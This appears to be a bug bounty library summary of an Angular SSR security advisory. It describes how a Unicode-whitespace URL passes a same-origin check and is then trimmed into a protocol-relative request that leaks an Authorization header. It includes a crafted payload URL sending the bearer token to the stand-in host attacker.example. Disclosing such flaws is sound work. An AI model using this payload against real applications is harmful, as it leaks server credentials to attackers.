# Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

Angular SSR's resolveUrl trimmed Unicode whitespace, turning a same-origin-checked URL into a protocol-relative cross-origin request that leaked Authorization headers to an attacker.

- Payout: Research
- Severity: high
- Program: Angular
- Found by: Adyej999
- Disclosed: 2026-09-10
- CVE: CVE-2026-88056
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-f6mr-pjwc-34m4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-f6mr-pjwc-34m4
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:nodejs technique:parser-differential technique:unicode-normalization vuln:auth-bypass vuln:ssrf

**Target:** @angular/platform-server SSR URL resolution (resolveUrl/parseUrl) used by HttpClient
**Root cause:** WHATWG URL parsing keeps Unicode whitespace like U+00A0 in the path so origin checks pass, but Angular's resolveUrl called String.prototype.trim() which strips it, converting the value into a protocol-relative cross-origin URL.
**Steps:**
1. App validates `new URL(req.urlWithParams, trustedOrigin)` and compares `.origin` to trustedOrigin.origin.
2. Attacker supplies `http://trusted-origin/%C2%A0//attacker.example/collect`; WHATWG keeps U+00A0 so origin check passes.
3. App attaches `Authorization: Bearer SERVER-SECRET-TOKEN` to the approved request.
4. Angular SSR resolveUrl trims the string to `//attacker.example/collect` and dispatches the request to the attacker origin, leaking the header.
**How found:** Noticed a discrepancy between WHATWG URL parsing (which preserves Unicode whitespace) and Angular's resolveUrl (which used String.prototype.trim() stripping all Unicode whitespace), then crafted a URL that passes origin validation but normalizes to a cross-origin protocol-relative URL.
**Exploitation:** Attacker controls a URL passed to Angular HttpClient in an SSR app that performs a same-origin check and attaches server credentials; the Unicode-whitespace URL passes the check, then Angular's trim rewrites it to a protocol-relative attacker URL, exfiltrating the Authorization header to attacker.example.
**Insight:** When a framework normalizes URLs differently from the WHATWG parser used for authorization, test Unicode whitespace (U+00A0, U+FEFF) and other trim-sensitive characters that survive `new URL()` but are stripped by `String.prototype.trim()` or similar normalizers.

